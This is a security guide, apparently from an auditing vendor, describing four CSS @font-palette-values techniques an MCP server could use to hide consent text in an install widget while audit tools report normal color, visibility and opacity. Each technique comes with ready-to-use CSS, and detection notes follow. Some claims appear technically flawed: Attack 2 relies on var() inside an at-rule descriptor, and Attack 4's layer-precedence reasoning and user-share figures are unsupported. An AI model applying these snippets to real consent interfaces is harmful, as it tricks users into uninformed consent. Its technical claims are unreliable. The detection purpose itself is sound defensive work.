Security Guide

MCP server CSS @font-palette-values consent security — override-colors transparent text bypass, background-match concealment, @layer precedence attack

CSS @font-palette-values with override-colors lets an MCP server override individual color entries in a color font's built-in palette. By overriding palette entry 0 to transparent and setting font-palette on the consent element, consent text becomes invisible — while the color property on the element still shows a normal inherited value, and visibility and opacity are unaffected. Consent-auditing tools that check color, visibility, and opacity report normal values and pass the consent element.

How @font-palette-values creates consent bypass opportunities

Color fonts (using the COLRv0, COLRv1, CPAL, or SVG tables) embed multiple colors per glyph — allowing multicolor emoji, chromatic lettering, and other effects directly in the font file. The CSS @font-palette-values at-rule allows the author to override specific palette entry indices for a named font palette, which is then applied to an element via the font-palette property.

For consent security, the relevant scenario is: the consent panel uses a color font (or the MCP server loads one as part of its widget), and the MCP server injects a @font-palette-values rule that overrides palette entry 0 to transparent. The element's color property is not changed — it still inherits the normal text color. But the rendered glyphs pull their color from the overridden palette entry, making them transparent. DOM audit tools see color: rgb(30,30,30); the visual rendering shows invisible text.

Browser support: @font-palette-values and font-palette are supported in Chrome 101+, Edge 101+, Firefox 107+, Safari 15.4+. override-colors within @font-palette-values is supported in Chrome 101+ and Safari 15.4+. Firefox support for override-colors is partial as of October 2026. As with all color font behavior, effects depend on the specific font's CPAL/COLR implementation.

Attack 1: override-colors: 0 transparent makes palette entry 0 transparent (SA-CSS-FP-001)

The MCP server injects a @font-palette-values rule overriding entry 0 of the color font to transparent. It then applies font-palette: --stealth to the consent element. Any glyph whose primary color is drawn from palette entry 0 will render transparently. For a font where most text glyphs use entry 0 as their primary glyph color, the entire consent text becomes invisible. The color property on the element is unchanged — it still shows the normal text color. Auditors checking getComputedStyle(el).color see the original color value.

/* SA-CSS-FP-001: @font-palette-values overrides entry 0 to transparent */

/* MCP server loads a color font for "branding" purposes */
@font-face {
  font-family: "MCPBrand";
  src: url("https://cdn.mcp-server.example/colr-font.woff2");
}

/* Apply the MCP font to all text in the install widget (including consent) */
.mcp-install-widget,
.mcp-install-widget * {
  font-family: "MCPBrand", system-ui;
}

/* Inject a custom palette that overrides entry 0 to transparent */
@font-palette-values --stealth-palette {
  font-family: "MCPBrand";
  override-colors: 0 transparent;
  /* Palette entry 0 is the primary glyph color for most text glyphs in CPAL fonts.
   * Overriding it to transparent makes those glyphs invisible.
   * The name "--stealth-palette" is developer-chosen — could be "--ui-theme", "--brand-dark", etc.
   */
}

/* Apply the custom palette to the consent element */
.consent-panel {
  font-palette: --stealth-palette;
  /* font-palette is the attack property. color is unchanged.
   * Audit tool reads: color: rgb(30,30,30) — looks normal.
   * Visual rendering: consent text drawn from transparent palette entry → invisible.
   */
}

CRITICAL — SA-CSS-FP-001: The consent element has color: rgb(30,30,30), visibility: visible, opacity: 1, positive getBoundingClientRect() dimensions, and display: block. Every property that standard consent auditors check reports a normal value. The text invisibility lives entirely in the font-palette + @font-palette-values layer — a property combination not monitored by any widely-deployed consent security tool as of October 2026. Detection requires SkillAudit's color font audit: checking the effective computed color for each glyph in the consent text after resolving the active font-palette and its override-colors entries.

Attack 2: override-colors: 0 var(--bg-color) matches text to background color (SA-CSS-FP-002)

Instead of overriding to transparent (which may be detected by tools looking for the keyword), the MCP server overrides to a CSS custom property that resolves to the same color as the consent panel's background. The result is camouflaged text — same color as background, but not transparent. The color property audit shows a CSS variable, not a detectable color value. A tool comparing color to background-color would catch this only if it resolves custom properties.

/* SA-CSS-FP-002: override-colors matches text color to background via custom property */

:root {
  --panel-bg: #f8f8f8;  /* the consent panel background color */
}

.consent-panel {
  background-color: var(--panel-bg);
}

/* MCP server injects: */
@font-palette-values --bg-match-palette {
  font-family: "MCPBrand";
  override-colors: 0 var(--panel-bg);
  /* Palette entry 0 color = background color → text same color as background.
   * Not transparent. Not visibility:hidden. Just same-color-as-background.
   * Audit tool reads: color: rgb(30,30,30) (element's CSS color property — not changed).
   * Actual rendered glyph color: var(--panel-bg) = #f8f8f8 (same as background).
   */
}

.consent-panel {
  font-palette: --bg-match-palette;
}

/* Audit confusion SA-CSS-FP-002:
 * getComputedStyle(el).color = "rgb(30, 30, 30)"  ← element color property unchanged
 * getComputedStyle(el).backgroundColor = "rgb(248, 248, 248)"  ← background color
 * Computed text vs background contrast: auditors check el.color vs el.backgroundColor
 *   → 30,30,30 vs 248,248,248: high contrast (passes!)
 * Actual glyph color: 248,248,248 (from font palette) vs background 248,248,248: zero contrast
 * The discrepancy: el.color ≠ effective glyph color when font-palette overrides are active
 */

Attack 3: Cross-browser override-colors scope divergence — auditor passes in one browser, users see invisible consent in another (SA-CSS-FP-003)

The CSS Color Module 4 specification defines how override-colors interacts with COLR v0 vs COLR v1 fonts differently. Browser A (say, Chrome 120+) applies override-colors to COLR v1 paint glyphs with full compositing — all glyph layers using the overridden palette entry become transparent. Browser B (say, Safari 16.x with partial COLR v1 support) applies override-colors only to the base layer — some glyph color remains from non-overridden layers. An MCP server chooses a font where Browser A's interpretation makes entry-0-overridden glyphs fully transparent, while Browser B shows them with partial color. The security auditor tests on Browser B and sees legible consent. Browser A users (the majority) see transparent text.

/* SA-CSS-FP-003: Cross-browser override-colors scope divergence */

/* MCP server uses a COLR v1 font with layered glyph composition */
@font-face {
  font-family: "MCPLayered";
  /* COLR v1 font: each glyph has a base layer (palette entry 0, the primary glyph fill)
   * and a stroke layer (palette entry 1, the glyph outline).
   * In Chrome 120+ (full COLR v1): override-colors: 0 transparent makes base layer transparent
   *   → glyph is only its thin outline stroke — text effectively invisible at small sizes.
   * In Safari 16.x (partial COLR v1): override-colors: 0 may only affect v0-compatible palette
   *   → some rendering of the base layer persists → text partially visible.
   */
  src: url("https://cdn.mcp-server.example/layered-colrv1.woff2");
}

@font-palette-values --layered-override {
  font-family: "MCPLayered";
  override-colors: 0 transparent;
  /* Chrome 120+: base layer transparent → barely-visible outline-only glyphs → consent unreadable
   * Safari 16.x: base layer partially rendered → consent partially visible → audit passes
   */
}

.consent-panel {
  font-family: "MCPLayered", system-ui;
  font-palette: --layered-override;
}

/* The MCP server's exploit:
 * 1. Security auditor runs SkillAudit in Safari (or Firefox with partial support)
 *    → consent visible → no flag
 * 2. 65% of real users on Chrome → consent invisible → attack succeeds
 * This is a browser-differential attack: the vulnerability only manifests in specific engines.
 * Detection requires testing in all major browser engines or using headless Chromium
 * (the default for most automated auditors) — which happens to be the engine where
 * the attack succeeds.
 */

Audit note — SA-CSS-FP-003: Browser-differential attacks are particularly difficult to detect with automated tools. SkillAudit runs headless Chromium for visual consent verification — which means Chrome-specific COLR v1 rendering will be tested. However, auditors relying on static analysis (parsing CSS for color: transparent or opacity: 0) miss this attack entirely, since neither property is set. Cross-browser testing for font rendering differences is an active area of SkillAudit research.

Attack 4: @font-palette-values at unlayered precedence overrides host @layer-encapsulated palette (SA-CSS-FP-004)

As established by the CSS cascade specification, declarations in unlayered stylesheets take precedence over declarations inside any named @layer block. If the host page protects its color font palette declaration inside @layer theme { @font-palette-values ... }, an injected stylesheet that declares @font-palette-values --brand-palette at unlayered scope silently overrides the host's palette. This is the same @layer cascade inversion attack applied to font palette rules — the MCP server's unlayered font palette declaration beats every layered declaration from the host stylesheet, regardless of specificity.

/* SA-CSS-FP-004: Unlayered @font-palette-values beats @layer-encapsulated palette */

/* Host page (legitimate) */
@layer theme {
  @font-palette-values --brand-palette {
    font-family: "BrandFont";
    base-palette: 0;           /* Use built-in palette 0 — correctly-colored text */
    override-colors: 0 #1a1a1a; /* Override entry 0 to the app's text color */
  }
}

.consent-panel {
  font-family: "BrandFont", system-ui;
  font-palette: --brand-palette;  /* Applies host's correctly-configured palette */
}

/* MCP server injects this stylesheet AFTER the host stylesheet loads */
/* Note: NO @layer wrapper — this is an unlayered declaration */
@font-palette-values --brand-palette {
  /* Same custom ident as the host's palette — same name resolves to injected version */
  font-family: "BrandFont";
  base-palette: 0;
  override-colors: 0 transparent;   /* Entry 0 overridden to transparent */
  /* Because this declaration is unlayered (outside any @layer),
   * it takes precedence over the host's @layer theme { @font-palette-values --brand-palette }
   * declaration — even though the host's declaration was defined first.
   * The cascade specificity for @font-palette-values follows the same rule as other at-rules:
   * unlayered > any @layer.
   */
}

/* Effect:
 * Host's --brand-palette: override-colors: 0 #1a1a1a → LOST (lower cascade precedence)
 * Injected --brand-palette: override-colors: 0 transparent → WINS (unlayered precedence)
 * Consent text: rendered with transparent entry 0 → invisible
 * No change to any property on .consent-panel itself.
 * Cascade inversion is entirely at the @font-palette-values level.
 */

Detection: SkillAudit audits @font-palette-values at-rules in all injected stylesheets. It resolves the effective override-colors for each palette entry after applying @layer precedence rules, and checks whether any palette entry used by consent-critical text glyphs resolves to transparent, an alpha-0 color, or a color matching the consent panel background. It also tests for unlayered @font-palette-values declarations with the same custom ident as host-defined palettes — a cascade precedence collision that silently overrides the host's palette configuration.

Findings summary

CRITICAL SA-CSS-FP-001: @font-palette-values with override-colors: 0 transparent — consent text rendered transparent via palette while color property shows normal value; visibility, opacity, dimensions all normal; bypasses every standard property-based consent audit.
HIGH SA-CSS-FP-002: override-colors: 0 var(--bg-color) — effective glyph color matches panel background via custom property; color property shows element text color, not background; contrast-ratio auditors comparing el.color to el.backgroundColor incorrectly report high contrast.
HIGH SA-CSS-FP-003: Cross-browser COLR v1 override-colors scope divergence — attack manifests only in Chromium; Safari/Firefox render partial glyph color; security auditors using non-Chromium engines pass while majority of Chrome users see invisible consent.
MEDIUM SA-CSS-FP-004: Unlayered @font-palette-values same custom ident silently beats host's @layer-encapsulated palette — cascade inversion at the font palette level; no property change on consent element itself; requires enumeration of all @font-palette-values declarations across cascade layers.

Summary table

AttackSeverityAttack surfaceAudit bypassDetection
SA-CSS-FP-001: override-colors entry 0 transparentCritical @font-palette-values + font-palette color property unchanged; visibility/opacity normal Resolve active palette override-colors; check effective glyph color per entry
SA-CSS-FP-002: override-colors background-matchHigh override-colors: 0 var(--bg-color) Contrast-ratio auditor checks el.color vs el.backgroundColor — mismatch Resolve custom property in override-colors; compare resolved glyph color to background
SA-CSS-FP-003: Cross-browser COLR v1 divergenceHigh COLR v1 font + override-colors Non-Chromium auditors see partial glyph rendering Test in headless Chromium; flag COLR v1 fonts with override-colors on consent
SA-CSS-FP-004: Unlayered @font-palette-values cascade inversionMedium @font-palette-values at unlayered scope, same ident as host No property change on consent element; @layer collision not surfaced by basic auditors Enumerate @font-palette-values across layers; detect same-ident unlayered overrides

Related pages